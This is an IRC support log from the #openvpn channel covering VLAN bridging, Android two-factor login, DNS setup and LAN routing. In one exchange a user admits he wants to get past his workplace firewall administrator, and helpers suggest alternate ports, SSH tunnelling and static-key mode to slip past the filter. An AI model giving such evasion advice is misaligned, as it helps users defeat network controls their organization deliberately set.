23:50 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
23:50 -!- fluter [~fluter@fedora/fluter] has quit [Max SendQ exceeded]
23:55 -!- overtwo [~overtwo@pool-173-60-224-83.lsanca.fios.verizon.net] has quit [Ping timeout: 240 seconds]
23:56 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
--- Day changed Fri Jun 14 2013
00:16 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
00:19 -!- rustyc [~rusty@ip68-2-159-136.ph.ph.cox.net] has quit [Ping timeout: 276 seconds]
00:28 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
00:46 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Ping timeout: 264 seconds]
00:46 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
00:57 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has quit [Read error: Connection reset by peer]
01:05 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
01:09 -!- emmanuelux [~emmanuelu@87.98.243.112] has quit [Quit: emmanuelux]
01:21 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
01:39 -!- dazo_afk is now known as dazo
02:17 -!- sppadic [~sppadic@193.130.68.17] has quit [Remote host closed the connection]
02:21 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
02:22 -!- sppadic [~sppadic@193.130.68.17] has joined #openvpn
02:28 < AL13N_work> EugeneKay: wth wouldn't i transport vlans over vpn? there's a 100mbit connection between the endpoints...? but there's other people on this connection. so i need to secure the traffic... and it gives the client easy management even if there are multiple other locations in his network...
02:29 < AL13N_work> in any case, the issue is that this works, however, i'd like to filter out more unwanted vlans in order to increase performance
02:30 < AL13N_work> EugeneKay: i read that openvpn has a internal packet filter available to plugins only, so i want to write a plugin so that i can filter out vlans in certain directions with ebtables
02:30 < AL13N_work> EugeneKay: i don't get why you would think this is stupid
02:39 < hjohnson> you know, no matter how much I see in this world, the current state of technology never ceases to amaze me... here I am, siting in delhi for no good reason, VPN'd back to my server in Canada, and from ther elooped through another VPN to my hub site in Washington State, and then out via satellite, and I'm fixing some networking issues in a remote community that still doesn't have real telephones
02:39 < hjohnson> ... what a world we live in.
02:42 < AL13N_work> hjohnson: you're quite the philosofer
02:43 < hjohnson> haha
02:43 < AL13N_work> let's just say, that i've gotten used to this kind of things
02:43  * hjohnson is part of that generation that grew up just before comptuers were a big thing... 
02:43 < AL13N_work> oh me too
02:43 < hjohnson> (and remembers computers before the internet)
02:43 < AL13N_work> i got my first puter @ age 13
02:43 < AL13N_work> a 8086
02:43 < hjohnson> AL13N_work: oh, Im used to it, I'm in the satellite communications business
02:44 < hjohnson> I'm the guy you call when you want 4mbps 24/7 delievered to a ship sitting in the middle of the atlantic ocean, or when you're getting shelled in Afghanistan, or whatever.
02:44 < hjohnson> but it still doesn't stop amazing me what can be acomplished in the modern era. :)
02:44 < AL13N_work> 'shelled' lol
02:44 < hjohnson> AL13N_work: I'm not kidding.
02:44 < hjohnson> when I was in Kabul last march, the Taliban shelled us for 18 hours.
02:45 < AL13N_work> ic
02:45 < hjohnson> so I just VPN'd to hmy home server and worked on other shit. :)
02:45 < hjohnson> (what else was I going to do when sitting in a bunker?)
02:45 < AL13N_work> we're quite a bit smaller
02:45 < AL13N_work> heh
02:45 < AL13N_work> we only have a few clients with international vpn networks
02:46 < hjohnson> most of our clients aren't on VPN themselves, this is just my M&C
02:46 < AL13N_work> hjohnson: i imagine if you're having this much latency a tap-vpn is not what you're using much
02:47 < hjohnson> naw, actually in this case, I don't think my ssh session is going through the VPN right now
02:47 < hjohnson> for your question though... i've never done what you're trying to do with openvpn
02:47 < hjohnson> always done it with cisco xconnect
02:48 < AL13N_work> well, it's only useful when you have highspeed lowlatency connections not too far away
02:48 < hjohnson> yeah
02:48 < AL13N_work> but still need to secure the traffic, because others are also on this network
02:48 < hjohnson> though usually I do my damndest to avoid transporting L2...
02:50 < AL13N_work> this vlan transporting is useful when you have voip and other traffic
02:50 < hjohnson> yeah, but it's better to route it rather than transport, if you can...generally no reason you can't route voip traffic
02:51 < AL13N_work> you can, but with this kind of lowlatency high speed, there isn't a reason to
02:51 < hjohnson> (I pull that kind of shit all the time)
02:51 < hjohnson> AL13N_work: it's also easier to setup
02:51 < hjohnson> (if it's routed)
02:51 < hjohnson> imho
02:51 < AL13N_work> i guess it's just what you're used to doing
02:52 < hjohnson> the only time I've transported L2 is when I was faced with a locally devleopped, poorly designed application that relied on all the devices involved bing on th esame broadcast domain
02:52 < hjohnson> and there was no way around it.
02:52 < hjohnson> (I still curse the developer of that)
02:52 < AL13N_work> meh, i see benefits in transporting L2 in such networks, often i can mean less points of failure
02:53 < AL13N_work> heh
02:53 < hjohnson> there's just as many poitns of failure, and if something goes haywire it spread sthe pain around more.
02:53 < hjohnson> plus transporting broadcast traffic that you don't need to is just bad jujus.
02:53 < AL13N_work> yes, that is true
02:53 < AL13N_work> which is what i'm trying to do right now
02:54 < hjohnson> if the voip, I'd just setup a separate routed tunnel, create a subnet/vlan for the voice gear on the far side, and route that traffic on its own tunnel.
02:54 < AL13N_work> we've already filtered quite some traffic, but we'd like to be more flexible in this
02:54 < hjohnson> but I actually don't know enough about OpenVPN as to wehther it copies through the DSCP flags and hte like from the plaintext ot the cyphertext
02:54 < AL13N_work> and allow some client-to-client connections
02:55 < AL13N_work> hjohnson: that's a good question
02:56 < hjohnson> well, you can still have client-client connections in a routed situation
02:56 < hjohnson> as long as you don't deploy nat
02:57 < AL13N_work> yes, of course
02:57 < hjohnson> (I tend to use the VPNs to avoid having to cross nat routers)
03:03 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
03:09 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 256 seconds]
03:11 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
03:12 < defswork> hjohnson, re your amazement - the real amazing thing - and it's truly humbling - is that you can do all that clever shit using software that people have given away for free
03:13 < defswork> I just wish I was talented enough to develop something worthwhile that I could contribute
03:20 <@dazo> defswork: you hanging out here, helping people using this free software is also a crucially important component of open source software
03:20 <@dazo> the same goes for everyone contributing on wiki pages, mailing lists and all other ways of sharing their knowledge with others
03:21 < defswork> yeah - I've done some little things :)
03:22 < defswork> My biggest constraint is time - maybe when I retire I can do more :)
03:22 < defswork> I have a 2 yr old and a 4 yr old to content with atm and a real job
03:23 -!- [HUN]Rcx2 [HUNRcx2@host-79-121-20-203.kabelnet.hu] has joined #openvpn
03:26 < defswork> dazo, I've also lived on ircnet #linux for probably nearly 20 years but no one goes there for help anymore - just a bunch of us old guys sharing and discussing
03:27 <@dazo> defswork: sounds like a safe place to hang out these days :)
03:27 <@dazo> yeah, finding time is truly hard
03:27 < defswork> yeah - it's useful there though we all do similar things so help each other a lot and keep up to date on stuff
03:27 <@dazo> which I why I at least appreciate any minute someone gives to the community :)
03:28 < defswork> I spend all my free PC time doing ruby on rails dev atm - favours mostly for others
03:28 <@dazo> :)
03:29 -!- newbie|4 [~tjz@67.228.240.11-static.reverse.softlayer.com] has joined #openvpn
03:29 -!- i7c [~i7c@unaffiliated/i7c] has quit [Read error: Operation timed out]
03:29 -!- tjz [~tjz@unaffiliated/tjz] has quit [Read error: Connection reset by peer]
03:29 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
03:36 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has quit [Remote host closed the connection]
03:37 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
03:43 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 264 seconds]
03:44 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
03:58 -!- Isotopp [kris@pdpc/supporter/professional/isotopp] has joined #openvpn
03:59 < Isotopp> I am using tunnelblick, and openvpn fails for me after the latest upgrade. is this the right place for help?
04:04 -!- OpenJoke7570 [~Bohr@160.97.27.59] has joined #openvpn
04:04 < OpenJoke7570> hi all
04:04 < OpenJoke7570> I cannot download the latest openvpn relase (win installer x86-64)... could you help me?
04:05 < OpenJoke7570> !welcome
04:05 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
04:05 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
04:05 < OpenJoke7570> !forum
04:05 <@vpnHelper> "forum" is (#1) The official OpenVPN support forum is available at http://forums.openvpn.net or (#2) you can join #OpenVPN-Forum to see the forum-feed announcements if you want to.
04:05 < OpenJoke7570> !goal
04:05 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
04:07 < OpenJoke7570> so!
04:07 < OpenJoke7570> ?
04:11 < OpenJoke7570> download link seems to be broken
04:12 -!- [HUN]Rcx2 [HUNRcx2@host-79-121-20-203.kabelnet.hu] has quit [Ping timeout: 256 seconds]
04:17 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
04:18 < OpenJoke7570> ok.. it was university firewall.. thanks anyway
04:18 -!- OpenJoke7570 [~Bohr@160.97.27.59] has left #openvpn []
04:19 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Read error: Connection reset by peer]
04:21 -!- cloneG [~ivan@172.Red-79-154-90.dynamicIP.rima-tde.net] has joined #openvpn
04:23 -!- lkthomas [~lkthomas@n218250155248.netvigator.com] has joined #openvpn
04:23 < lkthomas> hey guys
04:23 < lkthomas> what version of openvpn support snappy compression ?
04:23 < cloneG> hello I am trying to connect two computers via openvpn. the server running ubuntu 12.04 and windows 7 the client... I followed this easy ubuntu guide to install and configure the program https://help.ubuntu.com/12.04/serverguide/openvpn.html now the question is do I need a DNS domain for the server to be seen in the internet?
04:24 <@vpnHelper> Title: OpenVPN (at help.ubuntu.com)
04:25 < cloneG> I followed the simple configuration shown there
04:26 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
04:32 < cloneG> http://postimg.org/image/c3w2cpmnp/ here a post
04:32 <@vpnHelper> Title: View image: VPNsimple Client Config (at postimg.org)
04:33 -!- Isotopp [kris@pdpc/supporter/professional/isotopp] has left #openvpn []
04:33 < cloneG> does that mean the vpn server needs a domain?
04:34 -!- haasn [~nand@2a01:4f8:d13:5245::2] has quit [Ping timeout: 260 seconds]
04:36 < jzaw> cloneG, nope you can use an ip
04:37 < jzaw> or you could use dyndns if you dont have domains
04:37 < cloneG> jzaw: thanks for answering!!
04:37 < jzaw> np just paying it forward :)
04:38 < cloneG> jzaw: wich Ip should I use?
04:38 < cloneG> jzaw: any?
04:38 < jzaw> the public ip of your openvpn server
04:38 -!- haasn [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
04:38 < jzaw> presumably your gateway router on the server end
04:38 < cloneG> jzaw: how do i find out which IP is that?
04:39 < jzaw> do you not control the server?
04:39 < cloneG> jzaw: well public IP changes
04:39 < jzaw> ah in that case you do need the domain name
04:39 < cloneG> jzaw: right
04:40 < jzaw> and if you dont have a *proper* one ... dydns and other dyn ip services can track those changes for you
04:40 < cloneG> jzaw yeah I tweaked that once...
04:41 < cloneG> jzaw: I need to ask at ubuntu irc which is the best way to achieve that in an ubuntu system
04:43 < jzaw> actually a quick google and youll find plenty of info
04:43 < cloneG> jzaw: thanks for you help and have a nice day
04:43 -!- cloneG [~ivan@172.Red-79-154-90.dynamicIP.rima-tde.net] has quit [Quit: Saliendo]
04:48 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has quit [Excess Flood]
04:50 -!- Denial [Denial@90.208.15.68] has joined #openvpn
04:52 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
04:55 < e-ndy> hi all
04:55 < e-ndy> plaisthos, ping
04:58 < e-ndy> plaisthos, do you plan to add some support for 2way auth. to 'openvpn for android'?
05:00 < e-ndy> plaisthos, as you can save password, i would like to have options to save pin for hw/sw token or, even better, to save pin and acquire/copy generated by e.g. google authenticator
05:08 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
05:37 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 252 seconds]
06:11 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
06:13 <@plaisthos> e-ndy: I have no experience with a 2way auth openvpn
06:13 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has quit [Excess Flood]
06:14 <@plaisthos> I don't even know how this works from openvpn side
06:15 < e-ndy> on client i enter username and to password i must enter pin configured with my token and otp generated code
06:15 < e-ndy> so i can't use save password
06:16 < e-ndy> because openvpn for android will fail to connect next time as otp part changed
06:17 < e-ndy> and when used 'save password' it will not request new, when not successfully connected, just fail
06:18 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
06:20 <@plaisthos> e-ndy: so what is wrong with the dialog box on each vpn start when you don't check the save password box?
06:20 < e-ndy> dialog is ok
06:21 < e-ndy> so i would like to have another option in type username/pin+otp in configuration of connection where now is username/password
06:23 <@plaisthos> so how would that differ from current version when you leave password empty?
06:24 <@plaisthos> Sorry I cannot really follow you. I understood that you have a username and instead of a password which stays the same you need to enter a different password every time
06:25 <@plaisthos> You are not talking about OpenVPN's challenge/response authentication method, right?
06:27 < e-ndy> i guess: no
06:30 < e-ndy> only about behaviour of openvpn client
06:31 <@plaisthos> You want openvpn to save half your password and request the other half on start?
06:31 <@plaisthos> Did I understood that right?
06:37 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
06:47 -!- newbie|4 [~tjz@67.228.240.11-static.reverse.softlayer.com] has quit [Quit: quit irc]
06:47 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
06:58 -!- [HUN]Rcx2 [~HUNRcx2@host-79-121-20-203.kabelnet.hu] has joined #openvpn
07:04 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 252 seconds]
07:04 -!- michaelhart [~michaelha@69-165-175-193.dsl.teksavvy.com] has joined #openvpn
07:15 -!- vaillor [~wefefr@adsl-ull-186-90.45-151.net24.it] has joined #openvpn
07:15 < vaillor> hi guys
07:15 < vaillor> i changed connection, ISP, ROUTER
07:15 < vaillor> but i still get the same problem
07:16 < e-ndy> yes, it would be nice
07:16 < vaillor> without keepalive, i continuosly disconnect/reconnect
07:16 < vaillor> my vpn server it's on a virtualbox machine
07:16 < vaillor> colud it be something to do?
07:17 < e-ndy> plaisthos, but seriously - i had shortcut on home screen and tried to save password, results was, that i had to remove profile and import it again, because all i got was auth_failed
07:17 -!- Brandano [~Brandano@pdpc/supporter/professional/brandano] has joined #openvpn
07:20 < e-ndy> plaisthos, i would invite detection of failed authentication and then it will popup dialog for username and password
07:21 < e-ndy> and not blindly trying to use stored values
07:31 <@plaisthos> e-ndy: err you can simply delete the password from the basic settings
07:32 <@plaisthos> As for saving half and half password
07:32 <@plaisthos> I don't think I will implement this
07:32 <@plaisthos> Using PIN+Password as password is not the right way
07:33 <@plaisthos> since openvpn supports entering user+password having the server ask for challenge/response (Like enter your dynamic PIN:) during connect
07:34 <@plaisthos> When the client get AUTH_FAILED it is too late too ask for a password
07:34 <@plaisthos> since the connection is already teared down
07:52 -!- erry is now known as evilerry
07:52 < e-ndy> i see
07:52 -!- Brandano [~Brandano@pdpc/supporter/professional/brandano] has quit [Read error: Connection reset by peer]
07:52 -!- Brandano [~Brandano@31.193.18.202] has joined #openvpn
07:52 -!- Brandano [~Brandano@31.193.18.202] has quit [Changing host]
07:52 -!- Brandano [~Brandano@pdpc/supporter/professional/brandano] has joined #openvpn
07:53 < e-ndy> thanks for explaining :)
07:53 <@plaisthos> One think I could do is to ask if user wants to forget password on failed auth ...
07:53  * e-ndy is openvpn noob
07:54 < e-ndy> plaisthos, good idea
07:55 -!- evilerry is now known as erry
08:21 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 255 seconds]
08:21 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
08:23 -!- Snuupy [~Snuupy@unaffiliated/snuupy] has joined #openvpn
08:23 < Snuupy> !paste
08:23 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments comments
08:23 < Snuupy> !configs
08:23 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
08:23 -!- Willis [Willis@173.234.237.131] has joined #openvpn
08:24 < Snuupy> server config: http://pastie.org/private/1skhkfbxwrb3h1kqqupa - client config: http://pastie.org/private/7bqzo7mjaewocfshmzcsg - error log: http://pastie.org/private/yznr2ijqcgmbu6weza
08:24 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has joined #openvpn
08:25 < Snuupy> I'm currently behind a firewall - if I ssh tunnel, I'm able to connect to openvpn and my traffic goes through my VPS
08:25 < Snuupy> if I don't, it gives me that error
08:26 < Snuupy> but the firewall doesn't block port 443 - is it using dpi or something to block openvpn connections?
08:26 < Brandano> Snuupy: it might limit the traffic to TCP?
08:26 < Snuupy> Brandano: the openvpn port is tcp
08:26 < Snuupy> port 443
08:26 < EugeneKay> The TCP connection appears to get established; but you're getting RST
08:26 < Snuupy> shouldn't it look like regular https traffic?
08:26 < Brandano> oh, right
08:27 < Snuupy> EugeneKay: RST?
08:27 < EugeneKay> Reset
08:27 < Snuupy> yeah - why am I getting reset?
08:27 < Brandano> it should look like encrypted traffic, so the machines inbetween should not be able to tell wheter it's ssl or something else
08:27 < EugeneKay> Dunno, ask your firewall admin :-p
08:27 < Snuupy> is it the firewall, or something else?
08:27 < Snuupy> that's what I was thinking, Brandano
08:27 < EugeneKay> What sort of firewall is it?
08:27 -!- [HUN]Rcx2 [~HUNRcx2@host-79-121-20-203.kabelnet.hu] has quit []
08:27 < Snuupy> M86 web filter, afaik
08:27 < EugeneKay> If it's a MITM decrypting one, then :443 isn't really "open"
08:28 < Snuupy> o_o
08:28 < EugeneKay> Trustwave?
08:28 -!- michaelhart_ [~michaelha@162.209.1.130] has joined #openvpn
08:28 -!- JesseCW [~Chumba@wsip-98-175-20-126.br.br.cox.net] has quit []
08:28 < EugeneKay> Yeah, this looks like one of those devices that does SSL filtering
08:28 < Brandano> EugeneKay: not exactly simple to set up, you must also have spoofed certificates for the certifying organizations
08:28 < Snuupy> yeah, I think it's trustwave
08:28 < EugeneKay> All you need is to install a root CA in the client machines
08:29 < Snuupy> we have a thawte primary root certificate that we use
08:29 < Snuupy> but it's not modified
08:29 < EugeneKay> That's doable with a AD GPO
08:29 < Snuupy> (from the website, I mean)
08:30 < Brandano> well, looks like your organization is also checking the SSL connections to your internet banking acount. But don't worry, it's for your own good
08:30 < EugeneKay> My guess is that the firewall/filter is attempting to establish the TLS connection with you, but it's getting reset because openvpn isn't https
08:30 < EugeneKay> So, talk to your admin.
08:30 < Snuupy> EugeneKay: hmm, is there a way to bypass that?
08:30 < EugeneKay> Try a different port
08:30 < Snuupy> besides openvpn over ssh tunnel
08:31 < EugeneKay> They allow outgoing SSH?
08:31 < Snuupy> cool, any other ways?
08:31  * Brandano guesses that if Snuupy wants to use the ssl port for vpn he's trying to bypass the firewall admin
08:31 < Snuupy> yeah
08:31 < Snuupy> Brandano: shh ;)
08:31 < EugeneKay> You can redirect :22 on your server to :1194 and then use that
08:31 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
08:31 < Snuupy> oh no I mean I can SSH on port 443
08:31 < Snuupy> but not 22
08:31 < Snuupy> lol
08:31 < EugeneKay> Ah.
08:31 < EugeneKay> Well, that's indicative that they're not MITMing ssl then
08:31 < Snuupy> like, I'd manually change the sshd port to 443, and that works
08:31 < EugeneKay> So something else is wrong.
08:31 -!- michaelhart [~michaelha@69-165-175-193.dsl.teksavvy.com] has quit [Ping timeout: 240 seconds]
08:31 -!- michaelhart_ is now known as michaelhart
08:32 < EugeneKay> What's a client log look like?
08:32 < Snuupy> client log?
08:32 < EugeneKay> !logs
08:32 < Snuupy> isn't that the error log?
08:32 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
08:32 < Snuupy> ah
08:32 < Snuupy> lemmie do it again, 1 sec
08:32 < EugeneKay> There's logs on both ends
08:32 < Snuupy> !logfile
08:32 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
08:33 < Snuupy> would this be correct?
08:33 < Snuupy> verb 5
08:33 < Snuupy> log /openvpn.txt
08:33 < Brandano> Snuupy: also, tunneled or bridged vpn? there's plenty of other places where a vpn conn can fail
08:33 < Snuupy> this is on the client side
08:33 < EugeneKay> Sure
08:34 < EugeneKay> If you can write to that
08:34 < Brandano> try /tmp/openvpn.txt
08:34 < Snuupy> I'm on windows
08:34 < Snuupy> client's on windows, server's on ubuntu
08:34 < Brandano> ah, %temp%\openvpn.txt
08:34 < Brandano> remember to wipe your temp folder from time to time
08:34 < Snuupy> Brandano: not sure, followed an online guide - does it say in the server.conf file?
08:35 < Snuupy> "client-to-client"
08:35 < vaillor> EugeneKay, I changed my network router and my network connections
08:35 < vaillor> but i still get the same problem
08:35 < vaillor> so, it's not a router problem
08:35 < EugeneKay> vaillor - I don't give a shit
08:36 < Snuupy> client log when I try to connect, verb 5: http://pastie.org/private/cugfswwufpaqhqhixiwdpg
08:36 < Brandano> Snuupy: tunneled mode creates a new subnet that then is routed to your lan, bridged creates a new interface bridged with your existing lan, but requires some care in setting up dhcp optiopns and the like
08:37 < EugeneKay> Yeah, looks like something funky with the firewall
08:37 < EugeneKay> Test using static key mode maybe?
08:38 < vaillor> I spent money to change the router under your suggestion
08:38 < Snuupy> Brandano: uhh...I'm not sure?
08:38 < Snuupy> EugeneKay: what would a static key change?
08:38 < EugeneKay> It's not TLS
08:38 < EugeneKay> So your firewall sniffer might not eat it
08:39 < Snuupy> okay, do I need to change anything in the config files?
08:40 < EugeneKay> Wait, before you do tis
08:40 < EugeneKay> You said the server had SSH on :443?
08:40 < Snuupy> yeah, if I chose to run it on 443
08:40 < Snuupy> it's now on port 80
08:40 < EugeneKay> Sooo.... how is openvpn listening there.
08:40 < Snuupy> which is also unfiltered
08:40 < EugeneKay> Ah ok.
08:40 < Snuupy> openvpn's on 443
08:40 < EugeneKay> Also; server log?
08:40 < Snuupy> one sec
08:41 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
08:41 -!- cloneG [~ivan@172.red-79-154-90.dynamicip.rima-tde.net] has joined #openvpn
08:42 < Snuupy> server log: http://pastie.org/private/zg5faifsxsejnwutldrq
08:42 < Snuupy> EugeneKay: ^
08:43 < cloneG> this video rocks: http://www.youtube.com/watch?v=f1P97cTZxTs
08:43 <@vpnHelper> Title: How to connect remotely to your office machine using OpenVPN - YouTube (at www.youtube.com)
08:43 < cloneG> I would like to do something alike but with my sister
08:43 < Snuupy> looks like it does connect to the server
08:43 < Snuupy> then it just...disconnects?
08:43 < EugeneKay> Hm, that does look like a reset.
08:43 < Snuupy> weird o_o
08:44 < Snuupy> but I don't get reset if I ssh tunnel
08:44 < Snuupy> wat
08:44 -!- cloneG [~ivan@172.red-79-154-90.dynamicip.rima-tde.net] has quit [Client Quit]
08:45 < EugeneKay> The howto has a bit on static-key config
08:45 < Snuupy> okay, before I do that, I'm going to move OpenVPN on port 80 just to check
08:45 < EugeneKay> Worth a go
08:47 < Snuupy> port 80: http://pastie.org/private/wa2vpa12nsorrwtnrdg5oq
08:47 < Snuupy> looks like it's the same
08:48 < Snuupy> I'd remove the lines ca, cert, key, and dh, right?
08:48 < Snuupy> so all the authentication is based on the key?
08:52 < Brandano> you can comment them out
08:53 < Snuupy> gah
08:54 < Snuupy> server config: http://pastie.org/private/8ga2zgcwqnvlbow73avkqq
08:55 < Snuupy> client config: http://pastie.org/private/dfgvji7p0cxybuzkjhytkg
08:55 < Snuupy> "Options error: --client-to-client requires --mode server
08:55 < Snuupy> Use --help for more information.
08:55 < Snuupy> "
08:56 < Snuupy> it doesn't start now :<
09:00 < Snuupy> hey EugeneKay, you still there?
09:00 < EugeneKay> Nope.
09:01 < EugeneKay> The error is pretty descriptive ;-)
09:01 < EugeneKay> Git rid of the named option
09:02 < Snuupy> "Your problem is probably firewall, Really" <--lol
09:03 < EugeneKay> :-D
09:17 -!- Nothing4You is now known as Evil4You
09:20 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
09:30 -!- cloneG [~ivan@172.Red-79-154-90.dynamicIP.rima-tde.net] has joined #openvpn
09:30 -!- Evil4You is now known as Nothing4You
09:30 < cloneG> hello
09:31 < cloneG> http://www.youtube.com/watch?v=f1P97cTZxTs I would like to achieve this with an ubuntu desktop and a laptop w7
09:31 <@vpnHelper> Title: How to connect remotely to your office machine using OpenVPN - YouTube (at www.youtube.com)
09:31 < cloneG> the guy in the video shows how to connect remotely to an university computer session...
09:32 < subnero> hi i am having some issues and could use some help from someone with more experience with openvpn if anyone has a little time
09:32 < cloneG> two things I am not an university and I would like multiple simultaneous sessions on the same machine
09:32 < cloneG> hey same issue pal
09:32 < cloneG> I succeed installing it
09:33 < cloneG> but I dont really know how to use it
09:33 < cloneG> I also got a public dns domain for my computer the one serving openvpn
09:33 < cloneG> and a client for the client
09:33 < cloneG> a client gui
09:33 < subnero> i have it installed and connecting but for some reason it is not pushing my gateway
09:33 < subnero> it pushes everything but the gateway
09:34 < cloneG> ubuntu¿
09:34 < cloneG> I installed ovpn on ubuntu
09:34 < cloneG> easy
09:34 < cloneG> https://help.ubuntu.com/12.04/serverguide/openvpn.html
09:34 <@vpnHelper> Title: OpenVPN (at help.ubuntu.com)
09:36 < pekster> cloneG: My flash support is spotty on this system; you'll have better luck if you describe your !goal
09:36 < cloneG> okay...
09:37 < pekster> subnero: What's your high-level goal? What are you intending to do?
09:38 < cloneG> I installed ovpn in ubuntu 12.04 because I would like another user to login my computer while I am working in my session...the other user is far away but she has things in the computer she would like to tidy up...I thought vpn connection would be a nice solution
09:38 < subnero> needing to connect to my desktop computer through the openvpn
09:38 < subnero> then i can control everythign on campus from there
09:38 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Ping timeout: 256 seconds]
09:38 < subnero> but i cant get past the vpn server
09:38 < pekster> cloneG: Is the remote user connecting to the system running openvpn, or a PC on a LAN behind the VPN server?
09:38 -!- Thermi_ [~Thermi@unaffiliated/thermi] has joined #openvpn
09:38 < subnero> i can conenct and get to internet and can ping the server and the server can ping me but i cant get past the server
09:39 -!- Thermi_ is now known as Thermi
09:39 < pekster> subnero: Same question to you: are you just trying to access the VPN server remotely, or a LAN behind it?
09:39 < cloneG> the client is a windows 7 running ovpn aswell
09:39 < subnero> everythign seems to be correct in config file and i have had several people look at it but no one is seeing anything wrong
09:39 < pekster> My looking at it won't help until I understand what you're attempting to do
09:40 < subnero> i need to connect to my desktop at work from home
09:40 < subnero> using the vpn server
09:40 < cloneG> I installed the gui suggested on 'client software implementations-->openvpn with gui for win7' posted here: https://help.ubuntu.com/12.04/serverguide/openvpn.html
09:40 <@vpnHelper> Title: OpenVPN (at help.ubuntu.com)
09:40 < pekster> I still don't have an answer to my original question subnero: is the VPN server the *same* machine as the one you want to connect to, or not?
09:41 < pekster> cloneG: the only official guide we support is:
09:41 < pekster> !howto
09:41 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
09:41 < subnero> i have installed openvpn on a server and can connect using my laptop from home but can not get from the server to my desktop because it is not pushing a default gateway
09:41 < subnero> no it is not
09:41 < pekster> subnero: You don't need a gateway pushed to reach it. You need the flowchart here:
09:41 < pekster> !serverlan
09:41 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
09:41 < subnero> the server is seperate from my desktop
09:42 < pekster> You only need to push a 0/0 (or better is two /1 routes via the 'def1' flag) if you want to redirect *all* Internet-bound traffic. For that, see !redirect
09:42 < subnero> server has ip forwarding turned on
09:42 < pekster> subnero: Follow the flowchart. I don't care about specific details, but you must start at the *beginning* and carefully follow the flowchart
09:46 < subnero> i have done all that and it is still not working
09:46 < subnero> as i stated it was working before i tried to get ipad to connect and now it is no longer working
